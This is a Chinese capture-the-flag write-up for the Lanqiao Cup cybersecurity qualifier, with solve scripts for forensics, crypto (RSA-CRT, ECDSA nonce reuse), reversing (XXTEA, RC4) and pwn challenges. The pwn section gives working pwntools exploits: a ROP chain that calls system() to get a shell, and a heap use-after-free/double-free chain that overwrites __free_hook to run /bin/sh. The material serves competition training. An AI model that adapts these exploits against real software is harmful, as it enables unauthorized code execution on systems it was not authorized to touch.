第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP

1.理论题2.情报收集:爬虫协议:

3.数据分析:packet:缺失的数据:

4.密码破解:cc:Theorem:signature:

5.逆向分析:欢乐时光:rc4:

6.漏洞挖掘分析:fd:ezheap:

前言:第一次参加蓝桥杯,很荣信晋级线下,感谢师傅们观看,最近打攻防更新的比较慢ovo。

:ly3260344435

:3260344435

BiliBili:落寞的鱼丶

公众号:鱼影安全

CSDN:落寞的魚丶

知识星球:中职-高职-CTF竞赛

欢迎师傅们交流学习捏~~~~

1.理论题

2.情报收集:

爬虫协议:

考点:爬虫协议robots.txt

爬虫协议写在robots.txt文件里,访问进去得到 直接进去/6235cee4569ea639f7bcbf4e88335353/目录下,打开文件得到flag

3.数据分析:

packet:

导出HTTP数据流,最后一个数据包追踪数据流发现Base64解码即可。

FLAG:7d6f17a4-2b0a-467d-8a42-66750368c249

缺失的数据:

先解压出orign.zip里面的字典,然后用ARCHPR的字典模块把orign.zip的密码跑出来解压。

解压得到密码:pavilion 得到a.png 脚本如下:

import cv2

import numpy as np

import pywt

class WaterMarkDWT:

def __init__(self, origin: str, watermark: str, key: int, weight: list):

self.key = key

self.img = cv2.imread(origin)

self.mark = cv2.imread(watermark)

self.coef = weight

def arnold(self, img):

r, c = img.shape

p = np.zeros((r, c), np.uint8)

a, b = 1, 1

for k in range(self.key):

for i in range(r):

for j in range(c):

x = (i + b * j) % r

y = (a * i + (a * b + 1) * j) % c

p[x, y] = img[i, j]

return p

def deArnold(self, img):

r, c = img.shape

p = np.zeros((r, c), np.uint8)

a, b = 1, 1

for k in range(self.key):

for i in range(r):

for j in range(c):

x = ((a * b + 1) * i - b * j) % r

y = (-a * i + j) % c

p[x, y] = img[i, j]

return p

def get(self, size: tuple = (1200, 1200), flag: int = None):

img = cv2.resize(self.img, size)

img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)

img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)

c = pywt.wavedec2(img2, 'db2', level=3)

[cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c

d = pywt.wavedec2(img1, 'db2', level=3)

[dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d

a1, a2, a3, a4 = self.coef

ca1 = (cl - dl) * a1

ch1 = (cH3 - dH3) * a2

cv1 = (cV3 - dV3) * a3

cd1 = (cD3 - dD3) * a4

waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')

waterImg = np.array(waterImg, np.uint8)

waterImg = self.deArnold(waterImg)

kernel = np.ones((3, 3), np.uint8)

if flag == 0:

waterImg = cv2.erode(waterImg, kernel)

elif flag == 1:

waterImg = cv2.dilate(waterImg, kernel)

cv2.imwrite('1.png', waterImg)

return waterImg

if __name__ == '__main__':

img = 'a.png'

waterImg='newImg.png'

k = 20

xs = [0.2, 0.2, 0.5, 0.4]

W1 = WaterMarkDWT(img, waterImg, k, xs)

output = W1.get()

flag{e642820a-44c0-4c7d-a259-68b15aca8840}

4.密码破解:

cc:

使用Cyber的AES解密模式,根据题目html文件的key和iv以及编码格式解密即可。

Theorem:

这里的p和q是很接近的也许是CRT吧,所以用几何平均值遍历周围的值即可。

这种情况是可以直接使用yafu进行分解的

分解之后就是正常的RSA解密流程了

from Crypto.Util.number import *

p = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156923

q = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156717

n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791

d1 = 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566

d2 = 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850

c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829

d = (d1*q*inverse(q, p)+d2*p*inverse(p, q)) % n

print(long_to_bytes(pow(c, d, n)))

flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}

signature:

曲线SECP256k1的参数已知,有两个msg :

import ecdsa

import gmpy2

from hashlib import *

from Crypto.Util.number import *

order = ecdsa.SECP256k1.generator.order()

p = 115792089237316195423570985008687907852837564279074904382605163141518161494337

r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680

s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788

s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254

m1 = b"Hi."

m2 = b"hello."

h1 = bytes_to_long(sha1(m1).digest())

h2 = bytes_to_long(sha1(m2).digest())

k = gmpy2.invert((s1-s2), p)*(h1-h2) % p

inv_r = gmpy2.invert(r1, p)

d = ((k * s1) - h1)*inv_r % p

flag = "flag{" + str(d) + "}"

print(flag)

# flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}

5.逆向分析:

欢乐时光:

flag被使用了算法分成若干个小块,每个块使用相同的加密解密方法,但是这个算法是对称加密,请将分析密文并还原。

进入 Cry 函数,稍微魔改了一点点的 XXTEA, 轮数 的计算部分被修改为 415 / a2 + 114,脚本解密即可

#include

#include

#define DELTA 0x9e3779b9

#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

#include

using namespace std;

void btea(uint32_t *v, int n, uint32_t const key[4]) {

uint32_t y, z, sum;

unsigned p, rounds, e;

if (n > 1) { /* Coding Part */

rounds = 114 + 415 / n;

sum = 0;

z = v[n - 1];

do {

sum -= DELTA;

e = (sum >> 2) & 3;

for (p = 0; p < n - 1; p++) {

y = v[p + 1];

z = v[p] += MX;

}

y = v[0];

z = v[n - 1] += MX;

} while (--rounds);

} else if (n < -1) { /* Decoding Part */

n = -n;

rounds = 114 + 415 / n;

sum = rounds * DELTA;

y = v[0];

do {

e = (sum >> 2) & 3;

for (p = n - 1; p > 0; p--) {

z = v[p - 1];

y = v[p] -= MX;

}

z = v[n - 1];

y = v[0] -= MX;

sum -= DELTA;

} while (--rounds);

}

}

int main() {

uint32_t key[4] = {2036950869, 1731489644, 1763906097, 1600602673};

uint32_t v[] = { 1208664588, 0xCE9037F2, 0x8C212018, 244490637, 0xA4035274, 611560113, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 1875931283 };

btea(v, -11, key);

printf("%s", (char *)v);

}

flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}

rc4:

RC4是一种流加密算法,密钥长度可变,它加解密使用相同的密钥,因此也属于对称加密算法。

IDA Pro打开,main函数伪代码如上图所示,跟进 sub_401005 可以得到 RC4 加密函数

可以发现并没有被魔改是标准的RC4,因为是对称加密 加解密使用相同的密钥,直接用工具 RC4 解密即可

main函数中已经定义了密文数组v5和密钥字符串Str将密文数组逐个导出或者Debug后 导出值即可

6.漏洞挖掘分析:

fd:

小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。

没开PIE和canary,IDA静态分析buf很明显的栈溢出

check函数,看了一下没有过滤$0,close(1)可以用重定向fd完成

from pwn import *

# p=remote('45.32.110.230',20549)

FILENAME='./pwn'

p=process(FILENAME)

elf=ELF(FILENAME)

backdoor=0x400CC5# 4197573

rdi_ret=0x0000000000400933

ret=0x00000000004005ae

system_plt=0x0000000004005D0

info=0x601090

p.sendline(b'$0\x00')

payload=b'a'*(0x20+0x8)+p64(ret)+p64(rdi_ret)+p64(info)+p64(system_plt)

p.sendline(payload)

p.sendline(b'exec 1>&2')

p.sendline(b'cat flag')

p.interactive()

进入之后输入exec1>&2或者exec1>&0#完成重定向 即可回显。

ezheap:

小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?

create函数,free函数没漏洞,show函数正常

发现uaf漏洞,但是只能使用一次

利用uaf来完成堆重叠可以,然后先泄露堆地址再泄露libc地址 因为没有\x00截断,释放之后有堆地址残留,申请出来就能得到堆地址

就是这个接收有点问题,需要处理一下, 造成堆块double free之后,然后把tcahce中的全申请完,然后再申请,这个时候被改的fd指向,然后会掉入tache中还是关了本地随机化不然有问题

然后就是再次利用之前残留的堆重叠,再次打hook就行

from pwn import *

# p=remote('45.32.110.230',20549)

FILENAME='./pwn'

p=process(FILENAME)

elf=ELF(FILENAME)

libc=ELF('./libc.so.6')

def create(Content=b'a\n'):

p.recvuntil(b'4.exit',timeout=1)

p.sendline(b'1')

p.send(Content)

def free(id):

p.recvuntil(b'4.exit',timeout=1)

p.sendline(b'2')

p.sendline(bytes(str(id),'utf-8'))

def show(id):

p.recvuntil(b'4.exit',timeout=1)

p.sendline(b'3')

p.sendline(bytes(str(id),'utf-8'))

def uaf(id):

p.recvuntil(b'4.exit',timeout=1)

p.sendline(b'2106373')

p.sendline(bytes(str(id),'utf-8'))

payload=b'\x00'*0x18+p64(0x61)

for i in range(14):

create(payload)#0-13

for i in range(7,0,-1):

free(i)

uaf(0)

create(b'A')#1

free(0)

show(1)

p.recvuntil(b'A')

heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))

heapbase=(heap_add<<8)-0x300

success('heapbase '+hex(heapbase))

payload=p64(heapbase+0x2c0-0x10)+b'\n'

create(payload)#0,double

for i in range(6): # x /20gx 0x555555558060

create()#2-7

create()#14,0

payload=b'\x00'*0x38+p64(0x60*12+1)

create(payload)#15

free(1)

create(b'A')#1

show(1)

libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libcbase=libc_add-0x1ecf41

success('libcbase '+hex(libcbase))

free(10)

free(1)

create(p64(0)*3+p64(0x61))

free(1)

free(15)

free_hook=libcbase+libc.symbols['__free_hook']

system_add=libcbase+libc.symbols['system']

payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)

create(payload)#1,over

create(b'/bin/sh\x00\n')#10

create(p64(system_add)+b'\n')

free(10)

# gdb.attach(p)

p.sendline(b'cat flag')

p.interactive()

文章来源

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。